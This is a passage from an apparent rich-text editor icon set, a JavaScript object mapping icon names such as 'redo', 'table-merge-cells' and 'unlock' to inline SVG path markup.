    'redo': '<svg width="24" height="24"><path d="M17.6 10H12c-2.8 0-4.4 1.4-4.9 3.5-.4 2 .3 4 1.4 4.6a1 1 0 1 1-1 1.8c-2-1.2-2.9-4.1-2.3-6.8.6-3 3-5.1 6.8-5.1h5.6l-3.3-3.3a1 1 0 1 1 1.4-1.4l5 5a1 1 0 0 1 0 1.4l-5 5a1 1 0 0 1-1.4-1.4l3.3-3.3Z" fill-rule="nonzero"/></svg>',
    'reload': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="m5 22.1-1.2-4.7v-.2a1 1 0 0 1 1-1l5 .4a1 1 0 1 1-.2 2l-2.2-.2a7.8 7.8 0 0 0 8.4.2 7.5 7.5 0 0 0 3.5-6.4 1 1 0 1 1 2 0 9.5 9.5 0 0 1-4.5 8 9.9 9.9 0 0 1-10.2 0l.4 1.4a1 1 0 1 1-2 .5ZM13.6 7.4c0-.5.5-1 1-.9l2.8.2a8 8 0 0 0-9.5-1 7.5 7.5 0 0 0-3.6 7 1 1 0 0 1-2 0 9.5 9.5 0 0 1 4.5-8.6 10 10 0 0 1 10.9.3l-.3-1a1 1 0 0 1 2-.5l1.1 4.8a1 1 0 0 1-1 1.2l-5-.4a1 1 0 0 1-.9-1Z"/></g></svg>',
    'remove-formatting': '<svg width="24" height="24"><path d="M13.2 6a1 1 0 0 1 0 .2l-2.6 10a1 1 0 0 1-1 .8h-.2a.8.8 0 0 1-.8-1l2.6-10H8a1 1 0 1 1 0-2h9a1 1 0 0 1 0 2h-3.8ZM5 18h7a1 1 0 0 1 0 2H5a1 1 0 0 1 0-2Zm13 1.5L16.5 18 15 19.5a.7.7 0 0 1-1-1l1.5-1.5-1.5-1.5a.7.7 0 0 1 1-1l1.5 1.5 1.5-1.5a.7.7 0 0 1 1 1L17.5 17l1.5 1.5a.7.7 0 0 1-1 1Z" fill-rule="evenodd"/></svg>',
    'remove': '<svg width="24" height="24"><path d="M16 7h3a1 1 0 0 1 0 2h-1v9a3 3 0 0 1-3 3H9a3 3 0 0 1-3-3V9H5a1 1 0 1 1 0-2h3V6a3 3 0 0 1 3-3h2a3 3 0 0 1 3 3v1Zm-2 0V6c0-.6-.4-1-1-1h-2a1 1 0 0 0-1 1v1h4Zm2 2H8v9c0 .6.4 1 1 1h6c.6 0 1-.4 1-1V9Zm-7 3a1 1 0 0 1 2 0v4a1 1 0 0 1-2 0v-4Zm4 0a1 1 0 0 1 2 0v4a1 1 0 0 1-2 0v-4Z" fill-rule="nonzero"/></svg>',
    'resize-handle': '<svg width="10" height="10"><g fill-rule="nonzero"><path d="M8.1 1.1A.5.5 0 1 1 9 2l-7 7A.5.5 0 1 1 1 8l7-7ZM8.1 5.1A.5.5 0 1 1 9 6l-3 3A.5.5 0 1 1 5 8l3-3Z"/></g></svg>',
    'resize': '<svg width="24" height="24"><path d="M4 5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h6c.3 0 .5.1.7.3.2.2.3.4.3.7 0 .3-.1.5-.3.7a1 1 0 0 1-.7.3H7.4L18 16.6V13c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3.3 0 .5.1.7.3.2.2.3.4.3.7v6c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3h-6a1 1 0 0 1-.7-.3 1 1 0 0 1-.3-.7c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h3.6L6 7.4V11c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3 1 1 0 0 1-.7-.3A1 1 0 0 1 4 11V5Z" fill-rule="evenodd"/></svg>',
    'restore-draft': '<svg width="24" height="24"><g fill-rule="evenodd"><path d="M17 13c0 .6-.4 1-1 1h-4V8c0-.6.4-1 1-1s1 .4 1 1v4h2c.6 0 1 .4 1 1Z"/><path d="M4.7 10H9a1 1 0 0 1 0 2H3a1 1 0 0 1-1-1V5a1 1 0 1 1 2 0v3l2.5-2.4a9.2 9.2 0 0 1 10.8-1.5A9 9 0 0 1 13.4 21c-2.4.1-4.7-.7-6.5-2.2a1 1 0 1 1 1.3-1.5 7.2 7.2 0 0 0 11.6-3.7 7 7 0 0 0-3.5-7.7A7.2 7.2 0 0 0 8 7L4.7 10Z" fill-rule="nonzero"/></g></svg>',
    'rotate-left': '<svg width="24" height="24"><path d="M4.7 10H9a1 1 0 0 1 0 2H3a1 1 0 0 1-1-1V5a1 1 0 1 1 2 0v3l2.5-2.4a9.2 9.2 0 0 1 10.8-1.5A9 9 0 0 1 13.4 21c-2.4.1-4.7-.7-6.5-2.2a1 1 0 1 1 1.3-1.5 7.2 7.2 0 0 0 11.6-3.7 7 7 0 0 0-3.5-7.7A7.2 7.2 0 0 0 8 7L4.7 10Z" fill-rule="nonzero"/></svg>',
    'rotate-right': '<svg width="24" height="24"><path d="M20 8V5a1 1 0 0 1 2 0v6c0 .6-.4 1-1 1h-6a1 1 0 0 1 0-2h4.3L16 7A7.2 7.2 0 0 0 7.7 6a7 7 0 0 0 3 13.1c1.9.1 3.7-.5 5-1.7a1 1 0 0 1 1.4 1.5A9.2 9.2 0 0 1 2.2 14c-.9-3.9 1-8 4.5-9.9 3.5-1.9 8-1.3 10.8 1.5L20 8Z" fill-rule="nonzero"/></svg>',
    'rtl': '<svg width="24" height="24"><path d="M8 5h8v2h-2v12h-2V7h-2v12H8v-7c-.5 0-1 0-1.4-.3A3.4 3.4 0 0 1 4.8 10a3.3 3.3 0 0 1 0-2.8 3.4 3.4 0 0 1 1.8-1.8L8 5Zm12 11.2a1 1 0 1 1-1 1.6l-3-2a1 1 0 0 1 0-1.6l3-2a1 1 0 1 1 1 1.6L18.4 15l1.8 1.2Z" fill-rule="evenodd"/></svg>',
    'save': '<svg width="24" height="24"><path d="M5 16h14a2 2 0 0 1 2 2v2a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-2c0-1.1.9-2 2-2Zm0 2v2h14v-2H5Zm10 0h2v2h-2v-2Zm-4-6.4L8.7 9.3a1 1 0 1 0-1.4 1.4l4 4c.4.4 1 .4 1.4 0l4-4a1 1 0 1 0-1.4-1.4L13 11.6V4a1 1 0 0 0-2 0v7.6Z" fill-rule="nonzero"/></svg>',
    'search': '<svg width="24" height="24"><path d="M16 17.3a8 8 0 1 1 1.4-1.4l4.3 4.4a1 1 0 0 1-1.4 1.4l-4.4-4.3Zm-5-.3a6 6 0 1 0 0-12 6 6 0 0 0 0 12Z" fill-rule="nonzero"/></svg>',
    'select-all': '<svg width="24" height="24"><path d="M3 5h2V3a2 2 0 0 0-2 2Zm0 8h2v-2H3v2Zm4 8h2v-2H7v2ZM3 9h2V7H3v2Zm10-6h-2v2h2V3Zm6 0v2h2a2 2 0 0 0-2-2ZM5 21v-2H3c0 1.1.9 2 2 2Zm-2-4h2v-2H3v2ZM9 3H7v2h2V3Zm2 18h2v-2h-2v2Zm8-8h2v-2h-2v2Zm0 8a2 2 0 0 0 2-2h-2v2Zm0-12h2V7h-2v2Zm0 8h2v-2h-2v2Zm-4 4h2v-2h-2v2Zm0-16h2V3h-2v2ZM7 17h10V7H7v10Zm2-8h6v6H9V9Z" fill-rule="nonzero"/></svg>',
    'selected': '<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2Zm3.6 10.9L7 12.3a.7.7 0 0 0-1 1L9.6 17 18 8.6a.7.7 0 0 0 0-1 .7.7 0 0 0-1 0l-7.4 7.3Z"/></svg>',
    'settings': '<svg width="24" height="24"><path d="M11 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8v.3c0 .2 0 .3-.2.5l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 0 1-.2-.6V8H5a1 1 0 1 1 0-2h2v-.3c0-.2 0-.3.2-.5l.5-.2h2.5c.3 0 .4 0 .6.2l.2.5V6ZM8 8h2V6H8v2Zm9 2.8v.2h2c.6 0 1 .4 1 1s-.4 1-1 1h-2v.3c0 .2 0 .3-.2.5l-.6.2h-2.4c-.3 0-.4 0-.6-.2a.7.7 0 0 1-.2-.6V13H5a1 1 0 0 1 0-2h8v-.3c0-.2 0-.3.2-.5l.6-.2h2.4c.3 0 .4 0 .6.2l.2.6ZM14 13h2v-2h-2v2Zm-3 2.8v.2h8c.6 0 1 .4 1 1s-.4 1-1 1h-8v.3c0 .2 0 .3-.2.5l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 0 1-.2-.6V18H5a1 1 0 0 1 0-2h2v-.3c0-.2 0-.3.2-.5l.5-.2h2.5c.3 0 .4 0 .6.2l.2.6ZM8 18h2v-2H8v2Z" fill-rule="evenodd"/></svg>',
    'sharpen': '<svg width="24" height="24"><path d="m16 6 4 4-8 9-8-9 4-4h8Zm-4 10.2 5.5-6.2-.1-.1H12v-.3h5.1l-.2-.2H12V9h4.6l-.2-.2H12v-.3h4.1l-.2-.2H12V8h3.6l-.2-.2H8.7L6.5 10l.1.1H12v.3H6.9l.2.2H12v.3H7.3l.2.2H12v.3H7.7l.3.2h4v.3H8.2l.2.2H12v.3H8.6l.3.2H12v.3H9l.3.2H12v.3H9.5l.2.2H12v.3h-2l.2.2H12v.3h-1.6l.2.2H12v.3h-1.1l.2.2h.9v.3h-.7l.2.2h.5v.3h-.3l.3.2Z" fill-rule="evenodd"/></svg>',
    'sourcecode': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="M9.8 15.7c.3.3.3.8 0 1-.3.4-.9.4-1.2 0l-4.4-4.1a.8.8 0 0 1 0-1.2l4.4-4.2c.3-.3.9-.3 1.2 0 .3.3.3.8 0 1.1L6 12l3.8 3.7ZM14.2 15.7c-.3.3-.3.8 0 1 .4.4.9.4 1.2 0l4.4-4.1c.3-.3.3-.9 0-1.2l-4.4-4.2a.8.8 0 0 0-1.2 0c-.3.3-.3.8 0 1.1L18 12l-3.8 3.7Z"/></g></svg>',
    'spell-check': '<svg width="24" height="24"><path d="M6 8v3H5V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h2c.3 0 .5.1.7.3.2.2.3.4.3.7v6H8V8H6Zm0-3v2h2V5H6Zm13 0h-3v5h3v1h-3a1 1 0 0 1-.7-.3 1 1 0 0 1-.3-.7V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h3v1Zm-5 1.5-.1.7c-.1.2-.3.3-.6.3.3 0 .5.1.6.3l.1.7V10c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3h-3V4h3c.3 0 .5.1.7.3.2.2.3.4.3.7v1.5ZM13 10V8h-2v2h2Zm0-3V5h-2v2h2Zm3 5 1 1-6.5 7L7 15.5l1.3-1 2.2 2.2L16 12Z" fill-rule="evenodd"/></svg>',
    'strike-through': '<svg width="24" height="24"><g fill-rule="evenodd"><path d="M15.6 8.5c-.5-.7-1-1.1-1.3-1.3-.6-.4-1.3-.6-2-.6-2.7 0-2.8 1.7-2.8 2.1 0 1.6 1.8 2 3.2 2.3 4.4.9 4.6 2.8 4.6 3.9 0 1.4-.7 4.1-5 4.1A6.2 6.2 0 0 1 7 16.4l1.5-1.1c.4.6 1.6 2 3.7 2 1.6 0 2.5-.4 3-1.2.4-.8.3-2-.8-2.6-.7-.4-1.6-.7-2.9-1-1-.2-3.9-.8-3.9-3.6C7.6 6 10.3 5 12.4 5c2.9 0 4.2 1.6 4.7 2.4l-1.5 1.1Z"/><path d="M5 11h14a1 1 0 0 1 0 2H5a1 1 0 0 1 0-2Z" fill-rule="nonzero"/></g></svg>',
    'subscript': '<svg width="24" height="24"><path d="m10.4 10 4.6 4.6-1.4 1.4L9 11.4 4.4 16 3 14.6 7.6 10 3 5.4 4.4 4 9 8.6 13.6 4 15 5.4 10.4 10ZM21 19h-5v-1l1-.8 1.7-1.6c.3-.4.5-.8.5-1.2 0-.3 0-.6-.2-.7-.2-.2-.5-.3-.9-.3a2 2 0 0 0-.8.2l-.7.3-.4-1.1 1-.6 1.2-.2c.8 0 1.4.3 1.8.7.4.4.6.9.6 1.5s-.2 1.1-.5 1.6a8 8 0 0 1-1.3 1.3l-.6.6h2.6V19Z" fill-rule="nonzero"/></svg>',
    'superscript': '<svg width="24" height="24"><path d="M15 9.4 10.4 14l4.6 4.6-1.4 1.4L9 15.4 4.4 20 3 18.6 7.6 14 3 9.4 4.4 8 9 12.6 13.6 8 15 9.4Zm5.9 1.6h-5v-1l1-.8 1.7-1.6c.3-.5.5-.9.5-1.3 0-.3 0-.5-.2-.7-.2-.2-.5-.3-.9-.3l-.8.2-.7.4-.4-1.2c.2-.2.5-.4 1-.5.3-.2.8-.2 1.2-.2.8 0 1.4.2 1.8.6.4.4.6 1 .6 1.6 0 .5-.2 1-.5 1.5l-1.3 1.4-.6.5h2.6V11Z" fill-rule="nonzero"/></svg>',
    'table-caption': '<svg width="24" height="24"><g fill-rule="nonzero"><rect width="12" height="2" x="3" y="4" rx="1"/><path d="M19 8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-8c0-1.1.9-2 2-2h14ZM5 15v3h6v-3H5Zm14 0h-6v3h6v-3Zm0-5h-6v3h6v-3ZM5 13h6v-3H5v3Z"/></g></svg>',
    'table-cell-classes': '<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M13 4v9H3V6c0-1.1.9-2 2-2h8Zm-2 2H5v5h6V6Z"/><path fill-rule="nonzero" d="M13 4h6a2 2 0 0 1 2 2v7h-8v-2h6V6h-6V4Z" opacity=".2"/><path d="m18 20-2.6 1.6.7-3-2.4-2 3.1-.2 1.2-2.9 1.2 2.9 3.1.2-2.4 2 .7 3z"/><path fill-rule="nonzero" d="M3 13v5c0 1.1.9 2 2 2h8v-7h-2v5H5v-5H3Z" opacity=".2"/></g></svg>',
    'table-cell-properties': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm-8 9H5v5h6v-5Zm8 0h-6v5h6v-5Zm-8-7H5v5h6V6Z"/></svg>',
    'table-cell-select-all': '<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm0 2H5v12h14V6Z"/><path d="M13 6v5h6v2h-6v5h-2v-5H5v-2h6V6h2Z" opacity=".2"/></g></svg>',
    'table-cell-select-inner': '<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm0 2H5v12h14V6Z" opacity=".2"/><path d="M13 6v5h6v2h-6v5h-2v-5H5v-2h6V6h2Z"/></g></svg>',
    'table-classes': '<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v7h-8v7H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm-8 9H5v5h6v-5Zm8-7h-6v5h6V6Zm-8 0H5v5h6V6Z"/><path d="m18 20-2.6 1.6.7-3-2.4-2 3.1-.2 1.2-2.9 1.2 2.9 3.1.2-2.4 2 .7 3z"/></g></svg>',
    'table-delete-column': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm-4 4h-2V6h-2v2H9V6H5v12h4v-2h2v2h2v-2h2v2h4V6h-4v2Zm.3.5 1 1.2-3 2.3 3 2.3-1 1.2L12 13l-3.3 2.6-1-1.2 3-2.3-3-2.3 1-1.2L12 11l3.3-2.5Z"/></svg>',
    'table-delete-row': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm0 2H5v3h2.5v2H5v2h2.5v2H5v3h14v-3h-2.5v-2H19v-2h-2.5V9H19V6Zm-4.7 1.8 1.2 1L13 12l2.6 3.3-1.2 1-2.3-3-2.3 3-1.2-1L11 12 8.5 8.7l1.2-1 2.3 3 2.3-3Z"/></svg>',
    'table-delete-table': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14ZM5 6v12h14V6H5Z"/><path d="m14.4 8.6 1.1 1-2.4 2.4 2.4 2.4-1.1 1.1-2.4-2.4-2.4 2.4-1-1.1 2.3-2.4-2.3-2.4 1-1 2.4 2.3z"/></g></svg>',
    'table-insert-column-after': '<svg width="24" height="24"><path fill-rule="nonzero" d="M20 4c.6 0 1 .4 1 1v2a1 1 0 0 1-2 0V6h-8v12h8v-1a1 1 0 0 1 2 0v2c0 .5-.4 1-.9 1H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h15ZM9 13H5v5h4v-5Zm7-5c.5 0 1 .4 1 .9V11h2a1 1 0 0 1 .1 2H17v2a1 1 0 0 1-2 .1V13h-2a1 1 0 0 1-.1-2H15V9c0-.6.4-1 1-1ZM9 6H5v5h4V6Z"/></svg>',
    'table-insert-column-before': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H4a1 1 0 0 1-1-1v-2a1 1 0 0 1 2 0v1h8V6H5v1a1 1 0 1 1-2 0V5c0-.6.4-1 1-1h15Zm0 9h-4v5h4v-5ZM8 8c.5 0 1 .4 1 .9V11h2a1 1 0 0 1 .1 2H9v2a1 1 0 0 1-2 .1V13H5a1 1 0 0 1-.1-2H7V9c0-.6.4-1 1-1Zm11-2h-4v5h4V6Z"/></svg>',
    'table-insert-row-above': '<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4a1 1 0 1 1 0 2H5v6h14V6h-1a1 1 0 0 1 0-2h2c.6 0 1 .4 1 1v13a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5c0-.6.4-1 1-1h2Zm5 10H5v4h6v-4Zm8 0h-6v4h6v-4ZM12 3c.5 0 1 .4 1 .9V6h2a1 1 0 0 1 0 2h-2v2a1 1 0 0 1-2 .1V8H9a1 1 0 0 1 0-2h2V4c0-.6.4-1 1-1Z"/></svg>',
    'table-insert-row-after': '<svg width="24" height="24"><path fill-rule="nonzero" d="M12 13c.5 0 1 .4 1 .9V16h2a1 1 0 0 1 .1 2H13v2a1 1 0 0 1-2 .1V18H9a1 1 0 0 1-.1-2H11v-2c0-.6.4-1 1-1Zm6 7a1 1 0 0 1 0-2h1v-6H5v6h1a1 1 0 0 1 0 2H4a1 1 0 0 1-1-1V6c0-1.1.9-2 2-2h14a2 2 0 0 1 2 2v13c0 .5-.4 1-.9 1H18ZM11 6H5v4h6V6Zm8 0h-6v4h6V6Z"/></svg>',
    'table-left-header': '<svg width="24" height="24"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm0 9h-4v5h4v-5Zm-6 0H9v5h4v-5Zm0-7H9v5h4V6Zm6 0h-4v5h4V6Z"/></svg>',
    'table-merge-cells': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14ZM5 15.5V18h3v-2.5H5Zm14-5h-9V18h9v-7.5ZM19 6h-4v2.5h4V6ZM8 6H5v2.5h3V6Zm5 0h-3v2.5h3V6Zm-8 7.5h3v-3H5v3Z"/></svg>',
    'table-row-numbering-rtl': '<svg width="24" height="24"><path d="M6 4a2 2 0 0 0-2 2v13c0 1.1.9 2 2 2h12a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2H6Zm0 12h8v3H6v-3Zm11 0c.6 0 1 .4 1 1v1a1 1 0 0 1-2 0v-1c0-.6.4-1 1-1ZM6 11h8v3H6v-3Zm11 0c.6 0 1 .4 1 1v1a1 1 0 0 1-2 0v-1c0-.6.4-1 1-1ZM6 6h8v3H6V6Zm11 0c.6 0 1 .4 1 1v1a1 1 0 1 1-2 0V7c0-.6.4-1 1-1Z"/></svg>',
    'table-row-numbering': '<svg width="24" height="24"><path d="M18 4a2 2 0 0 1 2 2v13a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h12Zm0 12h-8v3h8v-3ZM7 16a1 1 0 0 0-1 1v1a1 1 0 0 0 2 0v-1c0-.6-.4-1-1-1Zm11-5h-8v3h8v-3ZM7 11a1 1 0 0 0-1 1v1a1 1 0 0 0 2 0v-1c0-.6-.4-1-1-1Zm11-5h-8v3h8V6ZM7 6a1 1 0 0 0-1 1v1a1 1 0 1 0 2 0V7c0-.6-.4-1-1-1Z"/></svg>',
    'table-row-properties': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14ZM5 15v3h6v-3H5Zm14 0h-6v3h6v-3Zm0-9h-6v3h6V6ZM5 9h6V6H5v3Z"/></svg>',
    'table-split-cells': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14ZM8 15.5H5V18h3v-2.5Zm11-5h-9V18h9v-7.5Zm-2.5 1 1 1-2 2 2 2-1 1-2-2-2 2-1-1 2-2-2-2 1-1 2 2 2-2Zm-8.5-1H5v3h3v-3ZM19 6h-4v2.5h4V6ZM8 6H5v2.5h3V6Zm5 0h-3v2.5h3V6Z"/></svg>',
    'table-top-header': '<svg width="24" height="24"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm-8 11H5v3h6v-3Zm8 0h-6v3h6v-3Zm0-5h-6v3h6v-3ZM5 13h6v-3H5v3Z"/></svg>',
    'table': '<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14ZM5 14v4h6v-4H5Zm14 0h-6v4h6v-4Zm0-6h-6v4h6V8ZM5 12h6V8H5v4Z"/></svg>',
    'template': '<svg width="24" height="24"><path d="M19 19v-1H5v1h14ZM9 16v-4a5 5 0 1 1 6 0v4h4a2 2 0 0 1 2 2v3H3v-3c0-1.1.9-2 2-2h4Zm4 0v-5l.8-.6a3 3 0 1 0-3.6 0l.8.6v5h2Z" fill-rule="nonzero"/></svg>',
    'temporary-placeholder': '<svg width="24" height="24"><g fill-rule="evenodd"><path d="M9 7.6V6h2.5V4.5a.5.5 0 1 1 1 0V6H15v1.6a8 8 0 1 1-6 0Zm-2.6 5.3a.5.5 0 0 0 .3.6c.3 0 .6 0 .6-.3l.1-.2a5 5 0 0 1 3.3-2.8c.3-.1.4-.4.4-.6-.1-.3-.4-.5-.6-.4a6 6 0 0 0-4.1 3.7Z"/><circle cx="14" cy="4" r="1"/><circle cx="12" cy="2" r="1"/><circle cx="10" cy="4" r="1"/></g></svg>',
    'text-color': '<svg width="24" height="24"><g fill-rule="evenodd"><path id="tox-icon-text-color__color" d="M3 18h18v3H3z"/><path d="M8.7 16h-.8a.5.5 0 0 1-.5-.6l2.7-9c.1-.3.3-.4.5-.4h2.8c.2 0 .4.1.5.4l2.7 9a.5.5 0 0 1-.5.6h-.8a.5.5 0 0 1-.4-.4l-.7-2.2c0-.3-.3-.4-.5-.4h-3.4c-.2 0-.4.1-.5.4l-.7 2.2c0 .3-.2.4-.4.4Zm2.6-7.6-.6 2a.5.5 0 0 0 .5.6h1.6a.5.5 0 0 0 .5-.6l-.6-2c0-.3-.3-.4-.5-.4h-.4c-.2 0-.4.1-.5.4Z"/></g></svg>',
    'toc': '<svg width="24" height="24"><path d="M5 5c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 1 1 0-2Zm3 0h11c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 1 1 0-2Zm-3 8c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 0 1 0-2Zm3 0h11c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 0 1 0-2Zm0-4c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 1 1 0-2Zm3 0h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm-3 8c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 0 1 0-2Zm3 0h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'translate': '<svg width="24" height="24"><path d="m12.7 14.3-.3.7-.4.7-2.2-2.2-3.1 3c-.3.4-.8.4-1 0a.7.7 0 0 1 0-1l3.1-3A12.4 12.4 0 0 1 6.7 9H8a10.1 10.1 0 0 0 1.7 2.4c.5-.5 1-1.1 1.4-1.8l.9-2H4.7a.7.7 0 1 1 0-1.5h4.4v-.7c0-.4.3-.8.7-.8.4 0 .7.4.7.8v.7H15c.4 0 .8.3.8.7 0 .4-.4.8-.8.8h-1.4a12.3 12.3 0 0 1-1 2.4 13.5 13.5 0 0 1-1.7 2.3l1.9 1.8Zm4.3-3 2.7 7.3a.5.5 0 0 1-.4.7 1 1 0 0 1-1-.7l-.6-1.5h-3.4l-.6 1.5a1 1 0 0 1-1 .7.5.5 0 0 1-.4-.7l2.7-7.4a1 1 0 0 1 2 0Zm-2.2 4.4h2.4L16 12.5l-1.2 3.2Z" fill-rule="evenodd"/></svg>',
    'typography': '<svg width="24" height="24"><path fill-rule="evenodd" clip-rule="evenodd" d="M17 5a1 1 0 1 1 0 2h-4v11a1 1 0 1 1-2 0V7H7a1 1 0 0 1 0-2h10Z"/><path d="m17.5 14 .8-1.7 1.7-.8-1.7-.8-.8-1.7-.8 1.7-1.7.8 1.7.8.8 1.7ZM7 14l1 2 2 1-2 1-1 2-1-2-2-1 2-1 1-2Z"/></svg>',
    'underline': '<svg width="24" height="24"><path d="M16 5c.6 0 1 .4 1 1v5.5a4 4 0 0 1-.4 1.8l-1 1.4a5.3 5.3 0 0 1-5.5 1 5 5 0 0 1-1.6-1c-.5-.4-.8-.9-1.1-1.4a4 4 0 0 1-.4-1.8V6c0-.6.4-1 1-1s1 .4 1 1v5.5c0 .3 0 .6.2 1l.6.7a3.3 3.3 0 0 0 2.2.8 3.4 3.4 0 0 0 2.2-.8c.3-.2.4-.5.6-.8l.2-.9V6c0-.6.4-1 1-1ZM8 17h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'undo': '<svg width="24" height="24"><path d="M6.4 8H12c3.7 0 6.2 2 6.8 5.1.6 2.7-.4 5.6-2.3 6.8a1 1 0 0 1-1-1.8c1.1-.6 1.8-2.7 1.4-4.6-.5-2.1-2.1-3.5-4.9-3.5H6.4l3.3 3.3a1 1 0 1 1-1.4 1.4l-5-5a1 1 0 0 1 0-1.4l5-5a1 1 0 0 1 1.4 1.4L6.4 8Z" fill-rule="nonzero"/></svg>',
    'unlink': '<svg width="24" height="24"><path d="M6.2 12.3a1 1 0 0 1 1.4 1.4l-2 2a2 2 0 1 0 2.6 2.8l4.8-4.8a1 1 0 0 0 0-1.4 1 1 0 1 1 1.4-1.3 2.9 2.9 0 0 1 0 4L9.6 20a3.9 3.9 0 0 1-5.5-5.5l2-2Zm11.6-.6a1 1 0 0 1-1.4-1.4l2.1-2a2 2 0 1 0-2.7-2.8L11 10.3a1 1 0 0 0 0 1.4A1 1 0 1 1 9.6 13a2.9 2.9 0 0 1 0-4L14.4 4a3.9 3.9 0 0 1 5.5 5.5l-2 2ZM7.6 6.3a.8.8 0 0 1-1 1.1L3.3 4.2a.7.7 0 1 1 1-1l3.2 3.1ZM5.1 8.6a.8.8 0 0 1 0 1.5H3a.8.8 0 0 1 0-1.5H5Zm5-3.5a.8.8 0 0 1-1.5 0V3a.8.8 0 0 1 1.5 0V5Zm6 11.8a.8.8 0 0 1 1-1l3.2 3.2a.8.8 0 0 1-1 1L16 17Zm-2.2 2a.8.8 0 0 1 1.5 0V21a.8.8 0 0 1-1.5 0V19Zm5-3.5a.7.7 0 1 1 0-1.5H21a.8.8 0 0 1 0 1.5H19Z" fill-rule="nonzero"/></svg>',
    'unlock': '<svg width="24" height="24"><path d="M16 5c.8 0 1.5.3 2.1.9.6.6.9 1.3.9 2.1v3h-2V8a1 1 0 0 0-.3-.7A1 1 0 0 0 16 7h-2a1 1 0 0 0-.7.3 1 1 0 0 0-.3.7v3h.3c.2 0 .3 0 .5.2l.2.6v7.4c0 .3 0 .4-.2.6l-.6.2H4.8c-.3 0-.4 0-.6-.2a.7.7 0 0 1-.2-.6v-7.4c0-.3 0-.4.2-.6l.5-.2H11V8c0-.8.3-1.5.9-2.1.6-.6 1.3-.9 2.1-.9h2Z" fill-rule="evenodd"/></svg>',
